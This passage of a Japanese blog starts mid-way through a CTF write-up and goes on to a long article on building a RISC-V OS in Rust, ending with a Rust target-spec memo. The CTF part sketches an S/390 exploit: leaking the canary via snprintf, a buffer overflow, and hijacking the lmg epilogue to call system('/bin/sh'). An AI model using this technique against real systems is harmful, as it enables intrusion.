適当にリバーシングすると、判定関数っぽいものがたくさんあることが分かる。また、GHIDRAではうまくback referenceできなかったが、flagかどうかの判定したら、出力するようなので、とりあえずflag判定関数を満たすようなファイルを作る。

判定関数とは言っても、よく見てみると全部各バイト=で判定しているだけなので、objdumpの出力を雑にパースして比較先の値をとってくればいい

Learning The Ropes(& fixed)

わけわからんマシン(IBM S/390)の上でLinuxが動いていて、その中のユーザーモードで、問題のバイナリが動いている。JP3BGYがgdbLinuxに入れてくれたのでその上で解析した。

バイナリ自体は、読めないが大して大きくない。頑張って解析していると、baなんとかが、branchであったり、stmtがstore multipleで、関数のプロローグとして使われることだったり、lmgがl系がロード命令だったりすることが分かる。また、r14がlink用アドレスで、br %r14が、多くの場合retであることや、r2...r5の順に関数の引数が前から入っていることもわかる。大体これくらいで十分だった。

それらをもとに、バイナリを解析すると、

  • まず名前を受け取る(snprintf_chkだが、リークさせることができる)
  • 次に謎に文字列を受け取る(ここでHELL YEAHと入力すると先にすすめる、これは文字列同士の比較命令clstとかいう謎命令で行われる)
  • 数字を受け取って、その分だけ文字を入力できる(はず)(ここでバッファーオーバーフローできる)
  • また、別途、libc_csu_initっぽい場所も見つけることができる。
  • canary, RELRO, PIEだが、とりあえずsnprintfで各種アドレスとcanaryがリークできる。あとはどうやって、シェルをとるかだが、今回のアーキテクチャに関連して少し面白いのはこの部分である。

main関数の関数エピローグが、

272      d3c:   eb 6f f2 00 00 04   lmg %r6,%r15,512(%r15)
273      d42:   07 fe               br  %r14

であることを考える。lmgはload multipleで、メモリの上の$r15 + 512の位置を前から8バイトずつr6からr15まで(一命令で)入れていく。そしてbr %r14 でr14レジスタの中に入るアドレスにbranchする(つまり、r14にload multipleで入る値がある場所が所謂return addressの格納されている場所ということになる)。

つまり、このload multipleの範囲にあるメモリを適当にいじることで、r6-r15のレジスタまで好きに設定できる。つまり、libc_csu_initを使えば(各種アドレスたちがリークされているので)、system("/bin/sh") ができる。

まあ問題は、デバッグがしんどいことなんですけどね。x86でないアーキ問、多少読みにくいのは別に良いとしても、デバッグがとってもしんどい、gdbもところどころバグってない?(step実行だとbranchがうまくいかなかったんだけど)という。終わり

その他

Tic Tac Toe

もう一個のpwnの問題。kirbyさんと雑に会話したりしてスマブラをしていたら、kirbyさんが解いてくれました。去年から伏線があったんですが、成長著しいですね

Memology

Recon(は?)をする問題。貢献しようという気力はあったのに、無貢献だった(dostoevskyは許さん)。いやこれの特筆するべき事項は、そこではなくて、hideo54とhakatashiはreconの天才であることで(なお、hakatashiはinstagramのストーリーがどこから見れるかを知らなかった)、これをネットの片隅に書いておきたかった。

Welcome to CTFZone!

hakatashiにボタン連打で負けました。ちなみに、TSGはこの問題のfirst blood(ぇ

まとめ

集まってやったのでわいわいできてよかった。わいわいしていると、ようわからんくてしんどくなってきたときにもモチベが続くので良い。多分10位以内なので、オンサイトいけると思うんですけどどうなんですかね〜

明日は、taiyoslimeさんで「たぶんライブコードゴルフの諸々について(実用言語編)」らしいです

RISC Vに従うCPUの上で動作するOSをRustで書く(CPU実験余興)

お手製のCPUの上で自分で作ったOSを動かすというのは、割と夢のある行為だと思っていて、今回それを一定のレベルですることができたので、簡単に内容についてメモをしておこうと思います。

曖昧な日本語を読むより、プログラムを読むほうが速いと思う人は、駄文を読まずにGitHubを見てください。

https://github.com/moratorium08/osmium/

僕が書いたのはOSだけで、コアはATPが書きました。また、乗算命令の実装はdaiが書きました。

https://github.com/hitohira/yokyo

概要

RustでフルスクラッチRISC-V(rv32im)で動作するOSの実装をしました。OSを実装するにあたり、ページングやカーネルユーザーモードでの権限切り分け、割り込みなどの仕様を考える必要があり、これもRISC-VのPrivilegeの仕様書に従ったものにしました。仕様自体は、RISC-Vの仕様書にあって実装されていないものはあるかもしれないが、実装したものの仕様でRISC-Vの仕様には無いようなものはない(すなわち独自に導入した仕様は存在しない)です。ページングは具体的にはSv32の方式を実装しました。

実装したOSの主な機能は、

  • ブートローダ
  • Memory mappedなUART入出力
  • RISC-VのPrivileged Architecture、Sv32に従ったPaging
  • Supervisor ModeとUser Modeの権限分離
  • ELFファイルのパースとプロセス管理
  • clock割り込みによるpreemptive multitasking
  • trapのハンドリング
  • Copy on Write fork
  • fork, execve, exit, mmapなどのシステムコールの実装
  • プロセス間通信
  • 簡易的なファイルシステム

です。

また、これらのカーネルの機能を用いたUserモードで動作するアプリケーションとしてシェルを作成しました。このプログラム自体は簡易なものですが、一般的なLinuxにおけるシェルと同様の工程(fork, execve, wait, exit)を行うことで子プロセスを起動し実行できるようになっています。すなわち、この工程が少なくともできる程度のレベルでOSを実装したという感じです。

目次

RISC-Vとは

ググったほうが速いと思います。最近話題のオープン・アーキテクチャのISAで、基本的にはMIPSに似ていると思いますが、所々の負の遺産が無くなった洗練されたRISCのISAになっていると思います*1

そもそもx86のようなCISCのコアを書くのは厳しく、今回のように全く新しくOSを遊びで作ってFPGAで動かそうと思った時、RISC-Vを選ぶのは自然な選択だと思います。ツール周りとしては、gccllvmバックエンドなどのコンパイラ基盤は既に存在していて、また今回は自作のものを使用したので使いませんでしたが、エミュレータもSpikeなどがあるようです。

なぜRust?

世の中のカーネルの上に存在する脆弱性の原因の大きな一因として、配列外参照や型エラーのような問題があり、Rustを使うことで、より強い静的な検査により安全性の高いOSを作ることができます。もちろん、OSを作る上でunsafeなfeatureを使わざるをえない部分は出てくるため、一般的なRustのプログラムを書く時ほどではないかもしれませんが、しかしunsafeな処理というのを他と区別することができ、unsafeを極力少なくすることで、不安定な部分に注力することができるようになると言えます。

さらに言えば、stdの機能が使えないにせよ、IteratorやResult/Optionおよびパターンマッチ、traitなどの機能を使うことができ、より洗練されたコードを書くことができると言えます。

まぁ以上のような利点があると前置きした上で、今回書く言語にRustを採用したのは僕の趣味です。

実装について

実装する上で少々苦労した点、真面目に実装した点などをメモします。

ISAとそれをターゲットにしたRustプログラムのビルド

割とここは本質です。Rustは昨年からRISC-Vのtargetを公式にサポートしています。しかし、RISC-VのISAはいくつかのベース(rv32i, rv64i..)に、Extensionを追加することで定義されるので、一口にRISC-Vといっても様々なヴァリアントが存在することになります。

今回OSを動かすにあたって使用したコアは、もともとCPU実験本流のレイトレーシングプログラムを動作させるために作ったものをベースとしたので、32bitのアーキテクチャであり、その場合現時点で公式にサポートされているISAはrv32imac, rv32imcの2つでした。mはInteger Multiplication and Division、aはAtomic Instructions、cはCompressed Instructions に関するExtensionが追加されていることをそれぞれ意味しています。

今回、さすがにマルチコアのCPU(RISC-Vで言うところの複数のhartsが存在するCPU)を作るのは厳しいよねという話にはなったので、Atomic命令は実装しないことにしました。さらに、今回Compressed命令も削るという話になりました。Compressed命令というのは頻度の高い命令で、頻度の高い即値(0のような)やレジスタ(zeroレジスタのような)に絞った16ビットの命令の集合です。RISC-Vの仕様書によれば、これらの命令で、一般的なプログラム全体の50-60%程度を構成できるそうで、結果として、コードサイズを25-30%程度減らすことが可能になります。

後から考えると、コアにCompressed命令を追加するのはDecoderと命令フェッチの部分をいじるだけなのでそれほど大変ではなかった可能性はありますが、後に説明するMMUCSR(Control and Status Regsiter)の処理などの実装があることを考えると、命令セットで可能な処理としては等価であることを考えれば、Compressed命令も無くしてできる限り単純化したいという気持ちになります。

その場合上述した通り、公式にはrv32imというようなターゲットは存在しないので、自分でクロスコンパイルのビルド環境を整える必要があり、これに関しては上述のWriting an OS in Rustや公式ドキュメント、The Embedded Rust Book、およびRustでRISC-V OS自作!はじめの一歩を参考に、xargo/xcargoを用いたビルド環境を整えました。詳しくは、前に書いた記事 や、実際のリポジトリを見てください。

これにより、standard libraryなしでのビルドが可能になります。

Privilege Architectureについて

RISC-VのPrivilege Architectureの仕様書に沿う形で実装がなされています。これによると、RISC-Vのprivilege levelsは現状全部でMachine/Supervisor/Userの3つであり、いかなるハードウェアもいかなる権限も持つMachineモードを実装しなければならない、となっています。

ところで、今回は、ページングの実装をしたかったので、Supervisorモードも必須でこの場合M-S-Uのすべてのモードを実装する必要があります。しかし、今回は単純化のため、マシンは起動直後にただちにでSupervisorモードに移行し、割り込み命令は、常にdelegate bitが立っていると考え、すべてSupervisorで処理されるものという実装になっています。

SupervisorのCSRはほぼすべて利用しており、これに対するcsrrw/csrrc/csrrsなどの命令や、sret、ecallがSystem系命令になり、これらをATPがコアに実装したのでそれを使っています。

UART入出力周り

入出力に関してはUARTを使おうと決めていたので、UARTを用いた入出力処理をまずは書くことになると思います。UARTはメモリマップドにしたので、1byteずつ特定のメモリに書き込んだり読み込めば終わる話ですが、もう少しリッチに出力がしたくなります。そのために、print!マクロやprintln!マクロを実装し、普通のRustでやるようなフォーマット出力などができるようにします。

Rustは、 core::fmt::Write トレイトを実装すれば、かなり容易に実現できます(0x80000000は今回取り決めたUARTの入力アドレスです)。

use core::fmt::Write;

const UART_RX: *const u8 = 0x80000000 as *const u8;
const UART_TX: *mut u8 = 0x80000004 as *mut u8;

struct UART;

fn write_byte(byte: u8) {
    unsafe {
        *UART_TX = byte;
    }
}

impl Write for UART {
    fn write_str(&mut self, s: &str) -> core::fmt::Result {
        for c in s.bytes() {
            write_byte(c);
        }
        Ok(())
    }
}

pub fn print(arg: ::core::fmt::Arguments) {
    UART.write_fmt(arg).expect("failed to send by UART");
}

#[macro_export]
macro_rules! print {
    ($($arg:tt)*) => ($crate::uart::print(format_args!($($arg)*)));
}
#[macro_export]
macro_rules! println {
    () => (print!("\n"));
    ($arg:expr) => (print!(concat!($arg, "\n")));
    ($fmt:expr, $($arg:tt)*) => (print!(concat!($fmt, "\n"), $($arg)*));
}

ページング

RISC-Vにはページングに関する仕様が存在します。今回の実装は32bitなので、選択肢は一つでSv32がそれにあたります。非常に大雑把に説明すれば、Superpageを無視すれば、仮想アドレスの上位10bit、次の10bitを用いて二回テーブルを引き、引いた最後のテーブルのエントリと仮想アドレスの下位12bitのオフセットを足し合わせることで実際の物理アドレスを得るという2段のジャンプを行う形式になっています。 詳しい仕様は、当然仕様書を見れば分かりますし、日本語ではmsyksphinz さんがいろいろとエントリを書いていらっしゃるのでそちらを見ると良いと思います。

今回実装するにあたり、メモリアドレス変換を入れた後で途中のページテーブルにアクセスする方法に少し苦労したのでこれについてメモをします。

まず上で書いたように仮想アドレスを物理アドレスに変換するにあたって、二回テーブルを引くことになります(ここでSuperpageは考えません)が、このテーブルを前から順にT0, T1とします。このとき、ページングの実装として問題になるのは、MMUをonにした後で途中のT1のテーブルにアクセスするのが難しいという点です。というのも、T0のテーブルは今回プロセスの数だけ起動時に用意したため、テーブルへの仮想アドレスはすでに分かっていますが、T1のテーブルは動的に割り当てる(起動時にすべてのメモリをカーネルのページ空間にマップしない)ので、そのテーブルへの物理アドレスは分かっていても、アクセスするための仮想アドレスは、定義されていないのでアクセスすることができない状態になっています。

これに対処するための手段として、例えばx86では、T0のテーブルの一つのエントリを、T0自身に割り当てることで、MMUの2回のページテーブルの遷移を打ち消すことができるという手法が存在します(Recursive pagingなどというと思います)。実際x86のページングではこれによりかなり効率良く、すなわち無駄になるアドレス空間、及び実際のメモリは最小限にして、途中のテーブルにアクセスが可能になります。

ところで、Sv32の仕様を読むと分かるように、Sv32では各ページのテーブルエントリが、Leaf、すなわち次に示すのが変換先の物理アドレスのページの先頭であるか、それとも次のページテーブルへのポインタであるかのどちらかであると定義されています。そして、2回より多くの遷移を行おうとした場合それはPageFaultになってしまうと思われます(ここらへんなにか理解を間違えていたら教えていただきたいですが)。

すると上のようなRecursiveエントリを作るという手法は使うことができないことがわかります。なぜならば、アクセスしようとしているテーブルを指すページテーブルエントリは、Leafではないからです。これに対処するため、T0のページと対になるもう一つのテーブルT0'を事前に用意し、T0の一つのエントリをそのテーブルにマップするようにし、それ以外のエントリは、T0とT0'ともに同じになるようにするという方法で上述の処理を実現しました(下図)。

f:id:moratorium08:20190302191743p:plain:w450

この方式はRecursiveなページエントリを用いる方式に比べて、メモリをPAGESIZE分余計に消費するが、しかし同等の機能を得ることができていると言えます。とはいえあまり綺麗な方法でもないので、ここらへん詳しい方がいて見ていたら教えていただけると助かります。

ELFのパース

RustにはgoblinというELFパースをするzero-copyなライブラリがありますが、同期命令の関係上今回使用することができなかったので、自分で簡単なパースをしました。

ELFはメモリの上に乗せればただちにパースしやすい構造になっているので、以下のように構造体を作れば、(少々チェックが足りないかもしれませんが)構造をそのまま取り出せます。

#[derive(Debug)]
#[repr(C)]
pub struct ElfHeader {
    pub magic: u32,
    pub elf: [u8; 12],
    pub etype: u16,
    pub machine: u16,
    pub version: u32,
    pub entry: u32,
    pub phoff: u32,
    pub shoff: u32,
    pub flags: u32,
    pub size: u16,
    pub phentsize: u16,
    pub phnum: u16,
    pub shentsize: u16,
    pub shnum: u16,
    pub shstrndx: u16,
}

/*...*/

    pub fn new(bytes: *const [u8]) -> Result<Elf<'a>, ElfError> {
        let bytes = unsafe { &*bytes };
        let elf = unsafe {
            let data: *const ElfHeader = bytes.as_ptr() as *const ElfHeader;
            &*(data)
        };
        if elf.magic != ELF_MAGIC {
            return Err(ElfError::InvalidMagic);
        }
        Ok(Elf { bytes, elf })

詳しくは、ソースコード を見てください。ここらへんの話はまぁ特定の界隈的には常識かもしれません。

Copy on Write fork

Copy on Writeなforkを実装したという話です*2

新しいプロセスを作る上で必要になるのが、現行のプロセスから、メモリの状態が全く同じでクローンされた別のプロセスを作る操作、すなわちforkです。

この実現には、プロセスのメモリ全体をコピーする操作が必要となります。ここで、マップされているすべてのメモリをコピーすることでも当然実現可能ですが、これは大量のメモリアクセスを発生させる非常にコストの高い操作になってしまいます。

これをある程度緩和させる手段として、ページテーブルをコピーして、書き込み可能なページに、Copy on Writeフラグを立て、その後fork前とfork後のいずれかのプロセスでそのメモリに書き込みが起こったときに、実際にコピーを実行する、というCopy on Writeの方式を取ることでメモリのコピーを遅延評価することができるという方法です。これは、forkが起こった後の処理として多くの場合、execveというアドレス空間を大きく書き換える処理が発生するので、書き換えられることのないページを余計にコピーすることが無くなり、効率が良くなることが期待されます。

f:id:moratorium08:20190302191736p:plain:w450

今回、Copy on Write forkを実装するにあたっては、ページテーブルのエントリのRSWの1bitを利用しています。

f:id:moratorium08:20190302222319p:plain:w450

trapのハンドルとpreemptive multitasking

上述のように、すべての割り込みはSupervisorがキャッチするようになっているので、以下利用するCSR(Control and Status Register)はすべてSupervisorのものになります。

まず、trapをハンドルするためには、trapが発生したときに移行する命令アドレスを設定しておく必要があります。そのためにSTVECというCSRにそのアドレスを設定します。なお、今回はVectoredモードではなくDirectモードを利用しています。

設定をすると、trap時にプログラムカウンタが設定された値になり、ここからTrapFrameを操作する処理をします。このとき、割り込み用のスタックに移動するとともに、Userモードのレジスタの退避をします。このとき、レジスタの一時退避用にsscratchというCSRを利用します。また、このトラップが発生したときのプログラムカウンタはsepcに入っているのでこれを保存します。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L394-L437

その後、scause及びstvalの値を見て、トラップを適切にハンドリングします。

また、カーネルから元のユーザーモードに戻るには基本的に同様の処理を逆向きに行えば良く、すべてのレジスタを適切に設定し、specに戻り先のユーザープログラムのプログラムカウンタを設定した上でsretをします。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L461-L544

クロック割り込みは上述のtrapの仕組みにより得られるものの一つです。RISC-Vでは、mtime, mtimecmpという2つのメモリマップドなレジスタを利用してタイマー割り込みを制御します。クロック割り込みを受けたときの流れは単純で、現状動いているプロセスをRunnnableな状態にして、別のRunnableなプロセスを実行に移すという処理をします。かっこいいスケジューリングを実装している余裕は無かったので、単純に直近で最もRunnableかどうかをチェックしていないものから順にRunnableかどうかをチェックしていき、最初に見つかったものをRunningにするという処理をしています。

https://github.com/moratorium08/osmium/blob/master/kernel/src/trap.rs#L340-L345

https://github.com/moratorium08/osmium/blob/master/kernel/src/proc.rs#L260-L279

プロセス間通信

プロセス間通信の一般的な手法として、通信用のキューに対する出し入れ、いわゆるメッセージパッシングと、同一物理メモリを共有するメモリシェアリングの2つの方式があります。今回それらを両方実装しました。

メッセージパッシングを用いた方法は、(コアの下図が増えるとcatch line bouncingの影響が強くなることなどがあり一概には言えないそう(Operating System Concepts)だが)、基本的には、プロセス間通信をするために毎度プロセス間通信のシステムコールを呼び出す必要があり、メモリシェアリングの方法に比べると、大量のデータをやりとりする場合は低速になります。今回の設計は、基本的にxv6の方法にかなり影響を受けていて、メッセージを受け取るMailboxを各プロセスが持ち、そのMailboxからデータを取り出すことができるプロセスは一つのみ、対して、そのMailboxにデータを送ることができるプロセスは多数になっています。また、Mailboxへのデータの送信とそのデータの受信は非同期的になっていて、特定のプロセスのIDとデータを送信し、実際にデータを受信したかどうかなどの同期は別途メッセージシェアリングの仕組みを用いてとる必要があるものになっています。

プロセス間の同期処理は基本的にこのメッセージパッシングを用いて行うものと仮定し、大規模なデータのやりとりに関しては、同一物理メモリを多数のプロセスが共有するメモリシェアリングを用いて行います。メモリシェアリング自体は、最初にシステムコールを一度呼べば確立ができ、データのやりとりがメモリの書き込み読み込みで可能になるので、システムコールを介さずに行うことができ高速になります。

まず、プロセス間通信を用いた遊びプログラムとして、catch_ball.rs があります。このプログラムでは、まずメッセージパッシングを用いてデータのやりとりをした後、メモリシェアリングを用いて交互に特定のメモリ領域にあるデータを操作しています。

ファイルシステム(簡易)

報告会(2/19)の時点では、流石にファイルシステムを実装している余裕が無かった(悲しい)ので、execveなどで利用するファイルのサーバーとしては、静的にファイルを登録した上で、名前一致でデータを取り出すというかなり簡易なものになっていました。さすがにこれでは悲しいという気持ちになったので、報告会後に多少まともなファイルシステムを作り始めました。

マイクロカーネルと一般に呼ばれるカーネルは、以上のような「メモリ・アドレス空間管理」、「プロセス管理」、「プロセス間通信」などという基本的な機能をカーネル側の権限で実装した上で、ユーザーランドで動作するプログラムによってファイルシステムやネットワークなどの機能を提供します。このOSでもその設計方針に則っています。

ファイルシステムの仕様は独自のものなので簡単に説明すると、一般的なファイルシステムと同様にブロックごとに管理をしていて、一番先頭のブロックにファイルシステムの情報を持つスーパーブロック、その次からどのブロックが使われているかを管理するマネージメントブロックが続き、その後ろに実際にデータを保存するブロックが続きます。

現状は、ファイルシステムは、レギュラーファイルとディレクトリの二種類のデータを管理していて、ディレクトリは再帰的にこれらを内包しています。

レギュラーファイル、ディレクトリはそれぞれ自分自身のメタデータを持つ領域を持ち、実際のデータへの二段間接ポインタを持ちます。例えばレギュラーファイルは以下のように、テーブルを二度辿ることで実際のデータへアクセスできるようになっています

f:id:moratorium08:20190317130346p:plain:w450

ディレクトリは、同様の構造で、自分が配下に持つファイルへのポインタを保持します。

ディスクのフォーマッタは、 Pythonで書きました 。まぁここまで書いておいてなんなんですが(書きながら作っていたんですが)、ファイルシステム周りの機能は用意した (ファイルはosmium/fs にあります)んですが、疲れてきてしまってOSにこれを組み込むところまでしていません。一人でやっていると寂しいので、誰か一緒にやってくれる人がいるといいですね(ほんまか)。まぁそのうちちゃんと実装すると思います。

システムコール

RISC-Vでは、Environment Callと言い、ecallという命令を用いることでEnvironment Call のExceptionを起こすことができます。システムコールの引数はa0, a1, ..で扱い、返り値はa0で返すという典型的な実装になっています。

シェル

以上の機能を体現できるユーザープログラムとして、シェルがあります。時間も無かったので最も基本的な機能しか積まれていませんが、fork -> execve -> exitという最も基本的なシェルの処理の流れを実際に行うことができるようにはなっていています。

pub extern "C" fn _start() -> ! {
    let mut buf = [0u8; 256];
    println!("** Osh **");
    loop {
        print!("$ ");
        let (len, b) = uart::buffered_readline(&mut buf);
        if len == 0 {
            continue;
        }
        if !b {
            println!("Sorry. too long. Please enter shorter command");
            continue;
        }
        let cmd = match str::from_utf8(&buf) {
            Ok(s) => s,
            Err(_) => {
                println!("Failed to parse your input. Try again.");
                continue;
            }
        };
        if buf[0] == b'e' && buf[1] == b'x' && buf[2] == b'i' && buf[3] == b't'  && len == 4{
            syscall::sys_exit(0);
        }
        match syscall::sys_fork() {
            syscall::ForkResult::Parent(id) => {
                loop {
                    match syscall::sys_check_process_status(id) {
                        syscall::ProcessStatus::Running | syscall::ProcessStatus::Runnable => {
                            syscall::sys_yield();
                        },
                        _ => {
                            break;
                        }
                    }
                }
            },
            syscall::ForkResult::Fail => {
                println!("fork failed");
            },
            syscall::ForkResult::Child => {
                syscall::sys_execve(cmd, len as u32, &[], &[]);
            }
        }
    }
}

エミュレータ上の動作

以上に実装したことについてつらつらと書きましたが、エミュレータの上で動作させることができるので、もし暇があればやってみてください。dockerが入っていれば

docker run -it moratorium08/osmium

で実行できます。ビルド環境の上に作ったイメージなので、割とでかくて、ダウンロードにはそれなりに時間かかると思います。

まぁもっとも、絵面はあまり面白くないと思います(以下の実装が動作していることが確認できます)。

感想

実装周りで特筆すべき内容は基本的に以上になります。ネットワーク周りについては何もしていないので、ここもきちんとできるとよりユーザー側でできることが増えるので良さそうです。さらに言えば、現状絵面的にはあまりおもしろくないと思うので、VGAだったりを使えるようにして、ウィンドウシステム実装したりしたらかなり楽しそうですね。まぁあと細部が雑(メモリallocしたは良いが回収していない、プロセスを回収できない、権限周りがだめなどなど)なので、ちゃんとしたらよりしゃきっとしたOSになるんじゃないでしょうか

自分のOSに関する知識のバックグラウンドとしては、

程度で、一度もOSを自分で実装したことが無かったので、良い経験になりました。現状実装したOSの機能はどれも典型的であまり新規性に富んだものではないので、興味深い機能を追加したりしたいものです。

それと、コアを実装したATPが非常にコアを書くのが上手で助かり続けたわけではありますが、複数人で短期間でオラオラと実装するのは楽しかったです。

参考にしたもの

余白:CPU実験について

あまり言及しませんでしたが、もともとこれは大学の情報科学科の実験科目であるCPU実験の余興として、好きなプログラムを動かしたい人が趣味で動かそうという気持ちでやった話になります。余興の先人はいろいろな人々がいますが、OS関連でいうと、xv6を移植して動かした人々OSを1から作った人々 がそれぞれいます。実際いざCPUが動くと感動するし*3 、さらにいろいろ動かしてみたくなるという気持ちは生えがちで、まぁ毎年余興をする人々が現れるようです(よく知りませんが)。

CPU実験本流の方は、同じ代でもっと高速化を真面目にやっていたり、強いコアを作っている人がいるため書くのもおこがましいなあという感じですが(コアに関することは、3つのアーキテクチャでレイトレーシングを完動 させて余興コア 作ったATPが明らかに詳しい、コンパイラは、2言語でmin-camlフルスクラッチ してLLVMバックエンド書いた uenokuが明らかに詳しい)、まぁ感想を残しておくのも悪くないのかもなあと思い、余白として書き残しておきます*4

CPU実験とは、 VerilogでコアやFPUを作り、OCamlコンパイラを書くことで、お題となるレイトレーシングプログラムをFPGAの上で動作させ速度を競うという実験です。

この授業の本流としては、完動*5 をした上で、よりIPCが高く、動作周波数の高いコアの設計、および動的に実行する命令数を減らし、コアの命令レベル並列などにより生じる制約に対するより良いスケジュールを行うコンパイラの設計をすることにあります。

僕自身はコア係だったので、コア を作りました。それと、コンパイラ の命令数の削減をしました。アーキテクチャは、210MHzの単純なパイプライン(命令レベル並列なし、レジスタフォワーディングあり、ロード命令にアウトオブオーダー完了あり)というそんなに複雑じゃないやつです。

また、命令数の削減としては、基本的にはアーキテクチャの最適化が効くので、これをまずして、グローバルに定義されている配列は静的にマップして良いので(そういうルール)、マップした上で静的にアドレスを解決して1命令でロードしたり、そもそもRISC-Vからだいぶ逸脱して*6 、load命令は、word単位のみとした上で、4byte一単位で扱うようにしたり、いくつかのpeephole最適化と共通部分式除去の追加で17.8億程度の命令数になりました(実際には結局sqrtはソフトウェア実装を使ったので1億ほど増えました)。おそらくここらへんからがむしろコンパイラとしては本番で、データフロー解析/グローバルレジスタ割当くらいは時間があればやりたかったですね*7

結果としては、命令数が18.8億程度で20.7秒でした。過去の記録的には2006年ですでに18.8秒程度の記録があり、昨年まででは2016年の4秒台の記録 があるので、まぁ全然良くないわけですが、なんかやってみた感想としては、命令レベル並列ないし何らかの並列性が無いと、割とこのあたりになるんだなあということです(多分floating point周りのマルチサイクル命令をアウトオブオーダー完了にしたり、もう少し頑張って周波数を上げたり、命令数をもう少し減らせるので15秒程度までは頑張ればいけるかも)。

逆に命令数削減はやっていると分かることですが、命令セットやアーキテクチャにはよるものの11~13億あたりが上限の相場だと思われます(過去にwataさんの班 が8.8億程度の命令数まで減らしているようですが)。

まぁ要するに現代のCPUの作りからも分かるように、いかに並列に実行していくかというのが(多分)高速化のキモで、そこを楽しむことができなかったのが唯一CPU実験で悔いが残る部分です。とはいえ、コア、コンパイラ高速化、余興とCPU実験の各部分を触ることができて個人的には楽しかったです。

今年は他の班で強い高速化(GPU実験?)を行なっている人々がいるのでどうなったか気になるところですね*8

CPU実験、批判はあって、レイトレプログラムがOCamlっぽくなかったり、レイトレが使うメモリ量少ないので、メモリのキャッシュがいらなかったりするのが現代に沿わない、"完動"の定義があいまい *9 、そもそもコンパイラにはmin-camlがあるので、コンパイラとはみたいな話があったりしますが、その上で個人的にはCPU実験を通して *10 、いろいろなアーキテクチャコンパイラの最適化の概念にふれることができ、それを通して先人の知恵(どんなISAが効率よくデコードできるか、パイプラインの設計はどうあるべきか、、、)を一つ一つ確かめることができる良い実験だったと思います。

実際上で書いたような機能を持ったOSをmin-camlで実装して、その上で動作するプログラム(並列に動作することをより意識したもの)を高速化するというのを課題にしてみたりするのは実際やろうと思えばできるだろうし(min-osみたいなのをある程度実装しておいて(誰かが)、重要な機能の仕様、例えばpagingやtrapの仕様を自分達で決めてその部分は自分で実装するみたいな感じで)、より理情的要素が増えるし面白いんじゃないかなあと思います。とはいえ、CPU実験、レイトレーシングの高速化がちょうど良い課題で、それでいて面白いから良いという話はあるので(実際このセメスターもCPU実験しているだけではないし、CPU実験みんなが好きなわけじゃないので)、まぁこの形態が今後も続いていきそうな感じはしますね(2004erのunnoさんがこの話題に既に言及 していて、それでいて特に何も変わっていないので、まぁそういうことなんだろうなあという感じはあります)。まぁなんにせよ、僕には楽しい実験でしたが、ところでVivadoとはもうお付き合いしたくない気持ちにもなりました。終わり

*1:実際CPU実験をするという意味においてRISC-Vを選ぶのはかなり良い選択肢だと思います。もっとも、高速化のためにはいくつかの逸脱が必要だと思いますが

*2:まぁこれもOS界隈的には何をアタリマエのことをという可能性はありますが。。

*3:完動なので

*4:それはそうですが、それほど強くないアーキテクチャのときどれくらいの記録が出るのかというのは意外と知見が無いです

*5:実装したコアとそのシミュレータの動作でそれぞれの結果同士にdiffが無い状態のことを指し、ただし真っ黒な画像や"人間が見て"画像が壊れている場合は完動ではないとされている

*6:実は僕の班のアーキテクチャももともとはRISC-Vベースでした

*7:今後やるかもしれません

*8:まぁあんまこういう文章書きたがらない感じがしますが(ほんまか)

*9:シミュレータとのdiffがないのと同時に、完成画像に対して一定以内のdiffのような条件もほしい?

*10:教えてはくれませんが

RustでRISC VのISAに従った自作CPUの上でbaremetalするときに最小のプログラムを動かすためのメモ

背景

Rustには、最近RISC Vのターゲットが追加されたのでrustupでtargetをaddするだけで、動かせるように思うわけです。しかし対応しているものが(32bitで)riscv32imac/riscv32imcの2つに現状なっていて、自分の作ったコアがミニマムで、Compressedな命令(Extensionで言うところの"C"、16bit命令)を使われてしまうと、それに対応していなくてプログラムが動かせなくて困りました。

もっともLLVMには、Compressed命令ありでもなしでも動くように実装されているようなので、少なくともfreestandingなバイナリは、compressedなしでコンパイルできてもおかしくないという気持ちになります。ところで、ネットを探してもそのようなことをしている記事を見つけられなかったのでここにメモを残しておきます(もっとも、常識なのかもしれません)

結局以下のように単にターゲットのjsonを用意するだけで、Compressed命令なしで、バイナリを出すことができるようになりました。

方法

riscv-rust-hello をベースにします。RISCV向けに所々することは基本的にはこの記事 が参考になります。

https://github.com/japaric/rust-cross/blob/master/README.md#cross-compiling-no_std-codehttps://os.phil-opp.com/minimal-rust-kernel/ を参考にすると、riscv32imaのtargetのspecが書かれたjsonファイルを作れれば良いことが言えます。またblog_os から、cargo xbuildを使うとcargoでクロスコンパイルさせることができ、良いことがわかります。

最後に https://doc.rust-lang.org/rustc/targets/custom.html によると

rustc +nightly -Z unstable-options --target=wasm32-unknown-unknown --print target-spec-json

のようにすれば、今存在するtargetのjsonが得られるのでこれをベースにfeaturesを書き換えると、お望みのriscv32imaが得られます。

結局既存のriscv32imac用のtarget specのjsonのうちfeatures部分を書き換えた以下のようなjsonを用いて、クロスコンパイルすると動くようになりました。

{
  "abi-blacklist": [
    "cdecl",
    "stdcall",
    "fastcall",
    "vectorcall",
    "thiscall",
    "aapcs",
    "win64",
    "sysv64",
    "ptx-kernel",
    "msp430-interrupt",
    "x86-interrupt",
    "amdgpu-kernel"
  ],
  "arch": "riscv32",
  "atomic-cas": false,
  "cpu": "generic-rv32",
  "data-layout": "e-m:e-p:32:32-i64:64-n32-S128",
  "emit-debug-gdb-scripts": false,
  "env": "",
  "executables": true,
  "features": "+m,+a",
  "is-builtin": true,
  "linker": "rust-lld",
  "linker-flavor": "ld.lld",
  "llvm-target": "riscv32",
  "max-atomic-width": 32,
  "os": "none",
  "panic-strategy": "abort",
  "relocation-model": "static",
  "target-c-int-width": "32",
  "target-endian": "little",
  "target-pointer-width": "32",
  "vendor": "unknown"
}